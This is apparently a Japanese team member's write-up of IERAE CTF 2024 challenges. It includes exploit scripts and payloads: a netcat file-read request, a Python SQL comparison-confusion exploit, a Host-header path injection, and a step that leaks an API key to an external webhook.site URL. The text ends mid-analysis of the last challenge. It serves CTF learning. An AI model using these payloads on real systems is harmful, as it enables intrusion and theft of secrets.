9/21 - 9/22という日程で開催された。BunkyoWesternsで参加して1位☝️ 我々はほとんどの問題が解けていたのだけれども、4問残っていたうちの3問がWebカテゴリ(1問はWeb+Revだが…)ということで申し訳ない気持ち。想定解法やSatoooonさんの解法を見つつ復習していきたい。
以下の目次を見ると、1ポイントなのに4, 5 solvesしか出ていない問題があることがわかると思う。これらは「宿題」としてIERAE CTF 2024の告知段階から出題されていた*1もので、いずれも固定で1ポイントであるものの、事前に解いておく(別に競技中に解いてもよいが…)ことが想定されていたものだった。結局宿題を片付けていたチームはあまりいなかった*2わけだけれども。宿題は、ちゃんとやろう。
- [Web 1] simple-proxy (5 solves)
- [Web 1] passwordless (4 solves)
- [Web 162] Futari APIs (81 solves)
- [Web 315] babewaf (11 solves)
- [Misc 378] gnalang (6 solves)
- [Misc 361] 5 (7 solves)
[Web 1] simple-proxy (5 solves)
シンプルなプロキシサーバ
A simple proxy server
(問題サーバのURL)
添付ファイル: simple-proxy.tar.gz
Author: Ark
問題文までシンプルだ。以下のようなシンプルなソースコードが与えられている。プロキシらしい。Dockerfile
には COPY flag.txt /
という記述があり、このプロキシが動くコンテナから /flag.txt
というファイルの内容を取得できればよいらしいとわかる。
const description = ` This is a simple proxy server. Usage: curl "http://example.com" --proxy "${Deno.env.get("APP_HOST")}" `.trim(); Deno.serve({ port: 3000 }, (req) => { const proxy = new Request(req.url, req); proxy.headers.set("X-Proxy", "1"); return req.headers.get("X-Proxy") ? new Response(description) : fetch(proxy); });
Denoが使われていて、また -A
オプションが付与されているためにすべてのパーミッションが許可されているので、fetch('file:///flag.txt')
相当のことができれば勝ちだ。しかし、そんなことは本当にできるのだろうか。
試しに echo -en "GET file:///flag.txt HTTP/1.0\r\n\r\n" | nc localhost 3000
を投げてみるものの、400 Bad Requestが返ってきてしまい通らない。file://flag.txt
や file://localhost/flag.txt
等を試してみるものの通らない。前者では req.url
に http://flag.txt/
と入っていることがわかったので、Host
ヘッダをいじってみるものの結果は変わらない。
色々いじっていると、パス名にスラッシュを入れなければ通った。
$ echo -en "GET file:flag.txt HTTP/1.0\r\n\r\n" | nc (省略) 3000 HTTP/1.0 200 OK vary: Accept-Encoding date: Sat, 21 Sep 2024 07:13:10 GMT IERAE{request_target_bypa55_with_RFC9112_3.2.3}
IERAE{request_target_bypa55_with_RFC9112_3.2.3}
[Web 1] passwordless (4 solves)
パスワードのないログインシステムを作りました! これなら 100%安心安全です!
We made a password-less login system! It should be 100% safe!
(問題サーバのURL)
添付ファイル: passwordless.tar.gz
Author: tyage
メールアドレスを入力するとそこにログイン用のトークンが送信されるという形で、パスワードなしにログインできるシステムが用意されている。
ソースコードを確認する。.env
に FLAG=IERAE{dummy}
という記述があり、環境変数にフラグがあるとわかる。Dockerfile
では FROM ruby:3.2-bookworm
や RUN apt update && apt install -y default-mysql-server
といった記述があり、Rubyでアプリが作られており、またそれと同一コンテナでMySQLが動いていることがわかる。
まず app.rb
は次の通り。Sinatraで作られているらしいというのと、別途 LoginToken
や User
といったクラスがあり、何やら別のファイルでORM的なことをしているらしいというのがパッと見て思うことだ。後は、params[:name].match?(/admin/i)
という正規表現によるチェックで admin
としてログインできないようになっているのが気になる。それから、先ほどはログイン用のトークンが指定したメールアドレスに送信されると言ったけれども、これは嘘で、send_login_token
を見るとわかるようにまだ実装されていない。どうしろと。
require 'sinatra' require 'json' require 'ipaddr' require './config' # SQL文を確認したい時用 # require 'logger' # DB.sql_log_level = :debug # DB.loggers << Logger.new($stderr) # ログイントークンをユーザのメールアドレスに送信する def send_login_token(user, login_token) # TODO: 来年実装する end # Unprintableな文字が飛んできたらハッカーなので止める before do params.each do |k, v| if /[^[:print:]]/.match?(v.to_s) halt 400, "Hacker detected!" end end end get '/' do send_file File.join(settings.public_folder, 'index.html') end post '/login' do content_type :json # adminは通常のログインフォームからはログインできない if params[:name].match?(/admin/i) return { error: 'You can\'t login as admin' }.to_json end user = User.find(name: params[:name]) return { error: 'Not found' }.to_json if user.nil? # 重複しないようにIPアドレスをつけておく secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32) login_token = LoginToken.create( user_id: user.id, key: SecureRandom.hex(32), secret: secret ) send_login_token(user, login_token) { login_token_key: login_token.key }.to_json end post '/login/:key' do content_type :json login_token = LoginToken.find(key: params[:key], secret: params[:secret]) return { error: 'Not found' }.to_json if login_token.nil? user = User.find(id: login_token.user_id) { user: { id: user.id, name: user.name, email: user.email, profile: user.profile } }.to_json end post "/register" do content_type :json user = User.create( name: params[:name], email: params[:email], profile: params[:profile] ) { user: { id: user.id, name: user.name, email: user.email, profile: user.profile } }.to_json end
config.rb
は次の通り。先ほど言及していた User
や LoginToken
がここで定義されている。Sequelというライブラリを使っているらしい。最後の数行が重要で、admin
というユーザがそのプロフィールにフラグを含んでいることがわかる。なるほど、admin
としてログインするのがゴールらしい。
require 'sequel' require 'securerandom' # DB config DB = Sequel.mysql2( host: ENV['MYSQL_HOST'] || 'mysql', user: ENV['MYSQL_USER'], password: ENV['MYSQL_PASSWORD'] || '', database: ENV['MYSQL_DATABASE'], ) DB.create_table? :users do primary_key :id String :name, null: false, unique: true String :email, null: false, unique: true String :profile, null: false end DB.create_table? :login_tokens do primary_key :id foreign_key :user_id, :users String :key, null: false, unique: true String :secret, null: false end class User < Sequel::Model end class LoginToken < Sequel::Model end # Create Admin user if User.find(name: 'admin').nil? User.create( name: 'admin', email: 'admin@localhost', profile: ENV["FLAG"] ) end
app.rb
を眺めていると、たとえばログイントークンが正しいかどうかのチェックには LoginToken.find(key: params[:key], secret: params[:secret])
のように find
というSequelのメソッドが使われているわけだけれども、引数として与えられているユーザ由来のパラメータについて、文字列であるかどうかが検証されていないことが気になった。
secret[hoge]=fuga
のようなデータがPOSTされるとどうなるのだろうか。実はSequelのドキュメントでもユーザ入力には気をつけろと注意喚起がなされていて、たとえば {'a' => 'b'}
のようなハッシュが渡されると、id = ('a' = 'b')
のようなSQLに変わるらしい。
app.rb
で「SQL文を確認したい時用」とされていた部分のコメントアウトを外し、Sequelが発行するクエリを確認できるようにしておく。その上で curl localhost:4567/login/(トークンのID) -d 'secret[a]=a'
を実行してみる。すると、以下のようなSQLが実行されていることが確認できた。
web-1 | D, [2024-09-15T17:57:09.839739 #24] DEBUG -- : (0.000291s) SELECT * FROM `login_tokens` WHERE ((`key` = '1c8a7ca573477526b31ef59050a18e9ecfd0931911bd4293c6101c7d931d5bd6') AND (`secret` = ('a' = 'a'))) LIMIT 1
一見無害に見えるけれども、今回の状況では異なる。MySQLでは文字列と数値が比較された際には、文字列のほうが数値に変換される。つまり、'1hoge' = 1
が真(TRUE
)となる。MySQLでは TRUE
は 1
であるから、'1hoge' = ('a' = 'a')
は真となる。
各トークンはhexの文字列であるわけだけれども、先ほど実行されていたSQLから key
をフィルターする部分を取り外して実行すると、次のように 1
から始まって次にアルファベットが来るようなトークンが引っかかってしまっていることがわかる。
MariaDB [ierae]> select * from login_tokens where `secret` = ('a'='a'); +----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+ | id | user_id | key | secret | +----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+ | 3 | 2 | 3fc04c3498ef19b7c4b5a73e63ba07c544d611e4ed715cde705c76e8131f71e5 | 1e0f2a196307dcbb1d06be89a7b061f535debf4ba20be4163346a8835959863e7 | | 6 | 2 | 5de5aa528641b44a2ca2783764bef68bd8deaff5180915bb7039c2ce4bf029bb | 1f5047201e2023a4eadf6fb9b944942eaeecbbcb202ee73eaae2a0cd806260200 | +----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+
1
から始まって2文字目にアルファベットが来るようなトークンが生成されるまで、admin
としてのログインの試行を繰り返せばよさそうだが、そううまくはいかない。
2点問題があるけれども、まず1つ目はこれだ。トークンはランダムなhexの前に、IPアドレスを数値化したものをくっつけている。これではとても 1
から始めさせることはできない。ただ、これは、X-Forwarded-For
で request.ip
を ::1
にすることで回避できる。
# 重複しないようにIPアドレスをつけておく secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
2つ目の問題はこれだ。admin
に対応するトークンを発行させようにも、/login
では admin
を含むユーザ名を投げた際に弾かれてしまう。
# adminは通常のログインフォームからはログインできない if params[:name].match?(/admin/i) return { error: 'You can\'t login as admin' }.to_json end
これはまたMySQLにおける比較の挙動を利用すればよい。今回使われているテーブルでは以下のように照合順序として utf8mb4_general_ci
が指定されているわけだけれども、これはたとえば 'i' = 'Í'
のような比較も真となる。これでバイパスできるはずだ。
MariaDB [ierae]> select table_name, table_collation from information_schema.tables where table_schema='ierae'; +--------------+--------------------+ | table_name | table_collation | +--------------+--------------------+ | users | utf8mb4_general_ci | | login_tokens | utf8mb4_general_ci | +--------------+--------------------+ 2 rows in set (0.000 sec) MariaDB [ierae]> select 'admin' = 'admÍn'; +--------------------+ | 'admin' = 'admÍn' | +--------------------+ | 1 | +--------------------+ 1 row in set (0.000 sec)
最終的に、次のようなexploitができあがった。
import httpx BASE = 'http://(省略):4567' with httpx.Client(base_url=BASE) as client: while True: r = client.post('/login', data={ 'name': 'adm\u0130n' }, headers={ 'X-Forwarded-For': '::1' }) key = r.json()['login_token_key'] r = client.post(f'/login/{key}', data={ 'secret[a]': 'a' }).json() if 'error' not in r: print(r['user']['profile']) break
実行するとフラグが得られた。
$ python3 solve.py IERAE{no_password_n0_hacker}
IERAE{no_password_n0_hacker}
[Web 162] Futari APIs (81 solves)
curl 'http://(問題サーバのURL)/search?user=peroro'
添付ファイル: distfiles_futari-apis.tar.gz
Author: tyage
いい感じのUIは用意されておらず、curl
等で叩く必要があるけれども、ユーザを検索するシステムが与えられている。compose.yaml
は次の通り。frontend
と user-search
という2つのコンテナがあることがわかる。frontend
の裏に user-search
があるという構成だろうけれども、user-search
でも ports
が指定されているのはよくわからない。ランダムなポート番号で公開されてしまうのではないか。
services: frontend: build: context: ./ dockerfile_inline: | FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098 COPY ./frontend.ts /app/ restart: unless-stopped ports: - 3000:3000 environment: - FLAG=IERAE{dummy} command: run --allow-net --allow-env /app/frontend.ts user-search: build: context: ./ dockerfile_inline: | FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098 COPY ./user-search.ts /app/ restart: unless-stopped ports: - 3000 environment: - FLAG=IERAE{dummy} command: run --allow-net --allow-env /app/user-search.ts
frontend
のコードに対応する frontend.ts
は次の通り。非常にシンプルで、/search
が叩かれたときにのみ user-search
のAPIを叩いてユーザの検索をしに行くらしい。この際、フラグをAPIキーとしてクエリパラメータに付与している。
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}"; const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") || "http://user-search:3000"; const PORT: number = parseInt(Deno.env.get("PORT") || "3000"); async function searchUser(user: string, userSearchAPI: string) { const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI); return await fetch(uri); } async function handler(req: Request): Promise<Response> { const url = new URL(req.url); switch (url.pathname) { case "/search": { const user = url.searchParams.get("user") || ""; return await searchUser(user, USER_SEARCH_API); } default: return new Response("Not found."); } } Deno.serve({ port: PORT, handler });
user-search
のコードである user-search.ts
は次の通り。こちらも大したことはしておらず、元々存在している一覧から、与えられたユーザIDに対応するモモフレンズ*3の名前を引っ張ってきて返しているだけだ。なお、このAPIはAPIキーがなければ叩くことができない。そして、そのAPIキーはフラグだ。
type User = { name: string; }; const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}"; const PORT: number = parseInt(Deno.env.get("PORT") || "3000"); const users = new Map<string, User>(); users.set("peroro", { name: "Peroro sama" }); users.set("wavecat", { name: "Wave Cat" }); users.set("nicholai", { name: "Mr.Nicholai" }); users.set("bigbrother", { name: "Big Brother" }); users.set("pinkypaca", { name: "Pinky Paca" }); users.set("adelie", { name: "Angry Adelie" }); users.set("skullman", { name: "Skullman" }); function search(id: string) { const user = users.get(id); return user; } function handler(req: Request): Response { // API format is /:id const url = new URL(req.url); const id = url.pathname.slice(1); const apiKey = url.searchParams.get("apiKey") || ""; if (apiKey !== FLAG) { return new Response("Invalid API Key."); } const user = search(id); if (!user) { return new Response("User not found."); } return new Response(`User ${user.name} found.`); } Deno.serve({ port: PORT, handler });
frontend.ts
を見て、なんとかしてクエリパラメータを外部に投げさせることはできないかと思う。次のように URL
を使ってリクエスト先のURLを構築しているわけだけれども、ここで user
を任意のものに操作できることを使えないか。
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") || "http://user-search:3000"; // … async function searchUser(user: string, userSearchAPI: string) { const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI); return await fetch(uri); }
MDNのドキュメントには「url
が絶対 URL である場合、指定された base
は無視されます。」とある。先程の関数では base
、つまり第2引数は USER_SEARCH_API
が指定されていたわけだけれども、url
、つまり第1引数を絶対URLにすればそれを無視させられるらしい。やってみよう。
次のように、クエリパラメータの user
について、送られてきたリクエストの内容を我々が確認できるページの絶対URLにする。
$ curl http://(省略)/search?user=https://webhook.site/…/ …
すると、APIキー付きでそのURLにリクエストが来た。フラグが得られた。
IERAE{yey!you_got_a_web_warmup_flag!}
[Web 315] babewaf (11 solves)
I was tormented by "babywaf" in last Xmas, so I tried to pay homage to it.
(問題サーバのURL)
添付ファイル: distfiles_babewaf.tar.gz
Author: y0d3n
与えられたURLにアクセスすると、なんか見たことのある画面が表示される。このボタンを押すと、/givemeflag
へリクエストが送られつつ 🚩
とダイアログが表示された。
コードを見ていく。まず compose.yaml
だけれども、proxy
と backend
という2つのコンテナがあるらしい。proxy
を通して backend
にアクセスできるのだろう。ただ、[Web] Futari APIsでもそうだったけれども、backend
でも ports
が指定されていて不思議だ。
services: proxy: build: ./proxy restart: unless-stopped ports: - 3000:3000 environment: - BACKEND=http://backend:3000/ init: true backend: build: ./backend restart: unless-stopped ports: - 3000 environment: - FLAG=IERAE{dummy}
proxy
の index.js
は次の通り。非常にシンプルで、http-proxy-middleware
でプロキシを作っているらしい。裏の backend
にそのままリクエストを流してくれるらしいけれども、%
や flag
がリクエストに入っているとダメらしい。
const express = require("express"); const { createProxyMiddleware } = require("http-proxy-middleware"); const app = express(); const BACKEND = process.env.BACKEND; app.use((req, res, next) => { if (req.url.indexOf("%") !== -1) { res.send("no hack :)"); } if (req.url.indexOf("flag") !== -1) { res.send("🚩"); } next(); }); app.get( "*", createProxyMiddleware({ target: BACKEND, }), ); app.listen(3000);
backend
の index.js
は次の通り。Honoが使われており、/givemeflag
にアクセスするとフラグがもらえるらしい。ただ、先程見たように proxy
は flag
という文字列がURLに含まれていると弾いてしまうから、そのままではこの /givemeflag
のレスポンスは得られない。
import { Hono } from 'hono' import { serveStatic } from 'hono/deno' const app = new Hono() const FLAG = Deno.env.get("FLAG"); app.get('/', serveStatic({ path: './index.html' })) app.get('/givemeflag', (c) => { return c.text(FLAG) }) export default app
ではどうするか。パス名以外の部分で、たとえばヘッダでなんとかできないかと考えた。つまり、proxy
で req.url
を参照した際には %
や flag
は含まれていないので怒られないけれども、proxy
から backend
へのリクエストがなされる際には、そのパス名が /givemeflag
やそれに類するものになるような影響を与えられるようなヘッダはないか。
とは言ってもあまり思いつくものはないわけだが、たとえば Host
ならばどうだろうか。backend
のコードに次のような処理を書き加え、backend
側での req.url
や req.path
を参照できるようにする。
app.get('/*', (c) => { console.log('[url]', c.req.url) console.log('[path]', c.req.path) return c.text('hoge') })
Host: hoge
では何も起こらないが、ホスト名を hoge/a
に変えると、パスが /a/
に変わっている様子が確認できた。どうやら Host
ヘッダがホスト名とポート番号のみから構成されているかというのはチェックされていないらしい。
hoge/givemeflag
ではパスが /givemeflag/
となってしまい、残念ながら /givemeflag
にはマッチせずフラグは出ない。では ?
もそのままになるのだろうかと hoge/givemeflag?
を試してみたところ、通った。
$ curl http://(省略) -H "Host: hoge/givemeflag?" IERAE{hono_1s_h0t_b4by}
IERAE{hono_1s_h0t_b4by}
[Misc 378] gnalang (6 solves)
I invented a new language. Your task is to write a palindromic polyglot of JavaScript and POSIX Shellscript!
(問題サーバへの接続情報)
添付ファイル: distfiles_gnalang.tar.gz
Author: hugeh0ge
問題の概要
以下のようなコードが与えられている。ちょっと読むのが面倒くさいけれども、どうやら回文判定をするJavaScriptとシェルスクリプトのpolyglotを書く問題らしい。両言語のいずれも回文判定をする必要があるし、しかも面倒なことにただのpolyglotではなく、そのプログラム自体も回文でなければならない。
まだ制約はある。JSもシェルスクリプトも終了コードは0でなければならないので、とりあえず正解の文字列だけ出力して後はエラー吐き放題というわけにはいかない。また、$
, #
, //
, <!--
, -->
, LF, スペースが含まれていてはならず、シェルスクリプトで変数を参照したり、あるいはJSにおいてコメントで後半部分を無効化させたりといったことができない。
JSとシェルスクリプトのpolyglotと聞いて、U+2028でJSだけ改行させられるし、後はコメントアウトすれば楽勝じゃ~んと思いつつ詳細を確認したけれども、面倒くさい問題だと理解した。
#!/usr/bin/env python3 """ Your task is to write a polyglot of JavaScript and shell script. The polyglot must meet the following conditions: - The polyglot must be executable in `sh` and `node` both. - `sh` and `node` must exit normally when executing the polyglot. - `sh` and `node` must return the same output when executing the polyglot. - `sh` must never cause error for each executed command. - The polyglot must output "Yes\n" when the string given from stdin is a palindrome. "No\n" otherwise. - The polyglot must be a palindrome. - The polyglot must not contain the following tokens: '$', '#', "//", "<!--", "-->", '\n', ' '. - The polyglot must not write anything to file as a shell script (because it fails and causes error) Sample Input #1 ABCDEEDCBA ---------------- Sample Output #1 Yes ---------------- Note that inputs do not contain '\n' while outputs should contain '\n'. ================ Sample Input #2 ABCDE ---------------- Sample Output #2 No ---------------- """ import sys import string import random import tempfile import subprocess def myassert(cond, msg): if not cond: print(msg) sys.exit(1) def main(): sys.stdout.write('Input program: ') sys.stdout.flush() prog = sys.stdin.readline() myassert(prog[-1] == '\n', "the program should end with '\n'") prog = prog[:-1] # trim # disallowed chars myassert(not '$' in prog, "$ should not be contained") myassert(not '#' in prog, "# should not be contained") myassert(not ' ' in prog, "' ' should not be contained") myassert(not '\n' in prog, "'\\n' should not be contained") myassert(not '//' in prog, "\"//\" should not be contained") myassert(not '<!--' in prog, "\"<!--\" should not be contained") myassert(not '-->' in prog, "\"-->\" should not be contained") # should be a palindrome myassert(prog == prog[::-1], "the program should be a palindrome") with tempfile.NamedTemporaryFile(mode='w') as sh_f: sh_f.write('set -eu\n') # no error should be allowed sh_f.write(prog) sh_f.flush() with tempfile.NamedTemporaryFile(mode='w') as js_f: js_f.write(prog) js_f.flush() # verify program with 100 testcases for i in range(100): testcase = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5)) is_palindrome = random.randint(0, 1) if is_palindrome: testcase = testcase + testcase[::-1] subprocess.run(['chmod', 'o+r', sh_f.name]) sh_result = subprocess.run(['sudo', '-u', 'nobody', 'sh', sh_f.name], input=testcase.encode(), capture_output=True) myassert(sh_result.returncode == 0, "sh should exit normally") sh_output = sh_result.stdout print('sh output: {}'.format(sh_output)) subprocess.run(['chmod', 'o+r', js_f.name]) js_result = subprocess.run(['sudo', '-u', 'nobody', 'node', js_f.name], input=testcase.encode(), capture_output=True) myassert(js_result.returncode == 0, "node should exit normally") js_output = js_result.stdout print('js output: {}'.format(js_output)) # output must be the same between js and sh myassert(sh_output == js_output, "sh and node should return the same output") # the program must judge if the given string is a palindrome if is_palindrome: myassert(sh_output == b'Yes\n', "the program should output Yes") else: myassert(sh_output == b'No\n', "the program should output No") with open('./flag.txt') as f: flag = f.read() sys.stdout.write('Well done!\n') sys.stdout.write('The flag is {}\n'.format(flag)) sys.stdout.flush() if __name__ == '__main__': main()
私が問題を確認した時点でSatokiさんが結構な時間をこの問題で費やしており、JSとシェルスクリプトのpolyglotを書くにあたって ()
での関数呼び出しが邪魔になるというアドバイスが残されていた。つまり、JSではよくても、シェルスクリプトでは文法上カッコが登場するのは関数定義やらなんやらといった場合で、両方で成り立たせるのが難しい。こういった障害を乗り越えていかなければならない。
コメントアウトでなんとかすることへの未練が断ち切れず、ECMAScriptの仕様を確認した。しかしながら、先程見たようにHTML-likeコメントも通常のコメントも潰されている。/* … */
はいい感じに左右対称となっており利用できそうだが、シェルスクリプトでもうまいこと動かすには頭を働かせる必要がありそうだ。見落としているものだったり、現状は仕様外だが実装されているものがないかと調べたが、Hashbang Commentsぐらいしか見つからないし、これも #
を含むのでダメだ。
とりあえずpolyglotを書く
コメントアウトでなんとかする方針を捨て、真面目にやっていくことにする。まずは回文については一旦忘れて、JSとシェルスクリプトのpolyglotを書くコツを掴むことにした。JS側での関数呼び出しは、前述のようにカッコでやるのはシェルスクリプトとの整合性を保つのが面倒(また、回文を作る際にも )(
となった状態をなんとかするのが面倒)であったことから、タグ付きテンプレートリテラルでなんとかすることにした。
最初に出来上がったのが次のpolyglotだ。
Function `console.log\x28123\x29;process.exit\x280\x29` `` &node -e +"console.log(456)"
まずJavaScriptとして見ていく。タグ付きテンプレートリテラルが関数に引数を渡す際の挙動のために、eval
ではなく Function
を使いつつ、文字列をコードとして実行させる。&
以降の node -e …
はJSの文法上は正しいけれども、存在していない変数を参照しているためそのままだとエラーが起こる。なので、実行させないように process.exit(0)
でプロセスを終了させてしまう。
シェルスクリプトとして見ていく。バックティックは、シェルスクリプト側では echo `id`
のように、それで囲まれた部分をコマンドとして実行しその実行結果で置き換えるという意味を持つ。したがって、先程のコードでは console.log…
という一連の文字列はOSコマンドとして実行される*4。もちろんそれも、Function
もコマンドとしては存在しないために失敗するわけだけれども、&
でバックグラウンド実行されるので、終了コードには影響がない。本命の処理は &
以降で、$
なしにシェルスクリプトで回文判定を書くのはつらいので、Node.jsに丸投げしている。
こうして、JSとして実行すると 123
を出力し、シェルスクリプトとして実行すると 456
を出力するpolyglotが出来上がった。禁止されているスペースが含まれているけれども、タブで置き換えればよいだろう。
ほか、polyglotを書くにあたってのポイントとして、次のようなものを考えた。これはCTFの問題であってフラグさえ得られればよく、芸術性は求められていない。自分が書きやすければそれでよいので、どうやれば楽そうかという方針だ:
- 大方針として、前半はJSで回文判定をする処理を押し込み、後半ではシェルスクリプトで同様の処理を置くといったように、完全に言語ごとにパートを分けてしまう
&
はショートサーキットを利用して||
でもよい。というよりも、JS側でもシェルスクリプト側でもショートサーキットを利用して、以降の処理は飛ばすか飛ばさないかを選ぶために&&
と||
を多用していきたいところ- JSでもシェルスクリプトでも大体文字列の中に主要な処理を押し込んでしまうことで、いずれの言語でも文法上正しくなるよう考える必要性をできるだけなくす
頑張って回文にする
さて、これをいい感じに回文にしなければならない。先程のコードをいじりつつ、回文を出力するようなPythonスクリプトを用意した。シェルスクリプト側はこれで何もエラーは吐かないわけだけれども、JS側でエラーを吐きまくり面倒だ。なんとかしたい。
prog = """ Function `console.log\\x28123\\x29;process.exit\\x280\\x29` ``||node -e +'console.log`456`'&&exit||a """.strip().replace(' ', '\t') prog += prog[::-1]
Function `a` `b`
という構造がひっくり返ると `b` `a` noitcnuF
という構造になってしまうのが一番の問題で、これでシンタックスエラーが起こってしまう。上述のようにショートサーキットのおかげでひっくり返した後も正常に実行できる必要はなく、文法上正しければそれでよいわけだけれども、その前提の上でもよい方法が思いつかない。
ヤケクソでブルートフォースしてみることにした。適当に1, 2文字ほどを Function
の前後に入れてみて、回文にしても文法上問題ないような文字の組み合わせはないか探す。
for (let i = 0; i < 0x100; i++) { for (let j = 0; j < 0x100; j++) { for (let k = 0; k < 0x100; k++) { const c = String.fromCharCode(i); const d = String.fromCharCode(j); const e = String.fromCharCode(k); if (c === '=' || d === '=' || e === '=') continue; const code = c + d + 'func' + e + '`123`' const edoc = code.split('').reverse().join(''); if (code.includes('//')) continue; try { let ff = false; function func() { ff = true } eval(code + '||' + edoc); if (ff) { console.log(JSON.stringify(code + '||' + edoc), c, d); } } catch { } } } }
驚くべきことに、いくつか候補が見つかった。Function
の前にラベルを、そして後ろに改行文字を置くパターンならば動くらしい。どういうことだろうか。
$ node 暴力.js "c:func\n`123`||`321`\ncnuf:c" c "c:func\r`123`||`321`\rcnuf:c" c "d:func\n`123`||`321`\ncnuf:d" d "d:func\r`123`||`321`\rcnuf:d" d "e:func\n`123`||`321`\ncnuf:e" e …
noitcnuF:Function\r`console.log(123)` `a`
というパターンを考える。これは見たままで、noitcnuF:
という部分は単なるラベルとして解釈されるし、以降は Function
に引数が渡されて関数が作られ、それが呼び出されるというような流れとして解釈される。
では、それを反転させた `a` `)321(gol.elosnoc`\rnoitcnuF:Function
はどうか。`a` `)321(gol.elosnoc`
の部分は、a
という文字列を関数として、)321(gol.elosnoc
を引数として呼び出すという意味になる。さて、ここに改行文字が入っているのが効いてくる。おかげで、セミコロンの自動挿入により一旦一連の文が終わり、仕切り直しとなる。続いて noitcnuF:Function
が来るわけだけれども、noitcnuF
というラベルで Function
を参照しているという意味になる。
反転後の処理は文字列を関数として呼び出すというエラー必至のとんでもないことをしているが、文法上は問題ないし実行はされないので大丈夫だ。ということで、このテクニックを使うことで、シェルスクリプトとしてもJSとしても適切な回文polyglotを作ることができる。
解く
ここまで来たら後はやるだけだ。JSで回文判定を実装し、適切な箇所に挿入する。そして、出来上がったpolyglotを投げるスクリプトを書く。
from pwn import * s = remote('(省略)', 9319) s.recvuntil(b'Input program: ') def conv(s): return ','.join(str(ord(c)) for c in s) prog = """ noitcnuF:Function\r`eval\\x28String.fromCharCode\\x28PAYLOAD1\\x29\\x29` ``||1||node -e +'PAYLOAD2'&&exit||a """.strip() payload = ''' process.stdin.on("readable", () => { const s=process.stdin.read().toString(); console.log((s===s.split("").reverse().join(""))?"Yes":"No"); process.exit(0) }) '''.strip() prog = prog.replace('PAYLOAD1', conv(payload)).replace('PAYLOAD2', payload).replace(' ', '\t') prog += prog[::-1] s.sendline(prog) print(s.recvall())
実行するとフラグが得られた。
$ python3 solve.py … b"sh output: b'No\\n'\njs output: b'No\\n'\nsh output: b'Yes\\n'\njs output: b'Yes\\n'\n…Well done!\nThe flag is IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}\n\n"
IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}
競技終了後にDiscordを見ていると、皆 /* … */
を活用してコードを組み立てていた。
[Misc 361] 5 (7 solves)
You can only use five different characters in JavaScript :)
(問題サーバのURL)
添付ファイル: distfiles_five.tar.gz
Author: Ark
まず、添付ファイル中の Dockerfile
にある RUN mv flag.txt /
という記述から、ローカルの /flag.txt
にフラグがあるとわかる。あわせて、次のようなPythonスクリプトが与えられている。任意のJSコードをBunで実行してくれるらしい。ただし、使える文字は5種類だけだけれども。
from flask import Flask, request, session from werkzeug.utils import secure_filename import os import secrets import subprocess app = Flask(__name__) app.secret_key = secrets.token_hex(16) @app.before_request def hook(): if "user_dir" not in session: session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16)) os.makedirs(session["user_dir"], exist_ok=True) @app.get("/") def index(): return """ <!DOCTYPE html> <title>JS Sandbox</title> <h3>Upload a JavaScript file</h3> <form> <input type="file" name="file" accept=".js" required /> <input type="submit" value="Upload" /> </form> <script> const form = document.forms[0]; form.addEventListener("submit", (event) => { event.preventDefault(); const data = new FormData(form); fetch("/run", { method: "POST", body: data, }) .then((r) => r.text()) .catch((e) => e) .then(alert); }); </script> """.strip() @app.post("/run") def run(): if "file" not in request.files: return "Missing file parameter", 400 file = request.files["file"] filename = secure_filename(file.filename or "") # A new JSFxxk challenge! content = file.read().decode() if len(set(content)) > 5: return "Too many characters :(", 400 filepath = os.path.join(session["user_dir"], filename) open(filepath, "w").write(content) try: proc = subprocess.run( ["bun", filepath], capture_output=True, timeout=2, ) if proc.returncode == 0: return "Result: " + proc.stdout.decode() else: return "Error" except subprocess.TimeoutExpired: return "Timeout"
コメントでも言及されているように、先行研究としてJSF**kがある。これは ![]+()
の6種類の文字だけで任意のJSコードを実行できるようにするものだ。そこからさらに1種類減らして、5種類でやれということだろうか。
ただ、JSF**kのドキュメントにも記されているように、文字種を減らす用途ではバックティックを ()
の代わりに使えない話であったり、![]+
は自由に使えるが ()
は一度しか使えないという制約があったjailCTF 2024 - 2 callsのような直近の問題であったりから、パイプライン演算子が使えない限り5種類の文字での任意のJSコードの実行はおそらく不可能であろうと考える。SECCONで頻繁にJavaScript問を出しているArkさんのことなので、新たにその手法を見つけた可能性もないわけではないが、だとするとeasyとタグについているのはおかしい。
task4233さんが頑張って文字種を減らそうとしているのを見つつ、別の方針を考える。そういえば、アップロードしたJSコードは次のように実行されているのだった。bun run <filepath>
でなく、サブコマンドを指定していない bun <filepath>
で実行しているのはどういうことだろうか。
proc = subprocess.run( ["bun", filepath], capture_output=True, timeout=2, )
また、このファイルパスは secure_filename(file.filename or "")
と、ある程度元のファイル名を残す形で作られていた。これをなにかに利用できないだろうか。
まず、ファイル名からオプションを仕込むことができないかと考えた。secure_filename
の実装を見に行くと、これは [^A-Za-z0-9_.-]
を潰していることがわかるわけだけれども、つまりハイフンは残る。
しかしながら、ファイルパスは filepath = os.path.join(session["user_dir"], filename)
のように、サンドボックスのディレクトリのパスから始まるよう構築されているし、session["user_dir"]
は空にできない上にコントロールができない。この方針はダメそうだ。
@app.before_request def hook(): if "user_dir" not in session: session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16)) os.makedirs(session["user_dir"], exist_ok=True)
サブコマンドを指定していない場合に何が起こるか追っていく。Bunのコードを読んでいると、まずサブコマンドを指定していなければ AutoCommand
なるコマンドが実行されるとわかる。この場合に何が実行されるかを参照する。じっくり見ていくと、コマンドライン引数として渡されたファイルの拡張子を見ている様子がわかる。.lockb
や .sh
といった拡張子が見える。
.sh
